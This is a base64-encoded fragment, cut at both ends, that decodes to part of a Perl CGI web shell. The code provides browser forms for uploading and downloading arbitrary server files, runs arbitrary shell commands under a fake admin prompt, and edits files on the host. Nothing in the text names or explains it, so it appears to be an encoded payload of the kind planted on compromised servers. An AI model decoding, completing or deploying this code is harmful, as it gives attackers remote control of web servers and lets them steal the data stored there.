kIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09P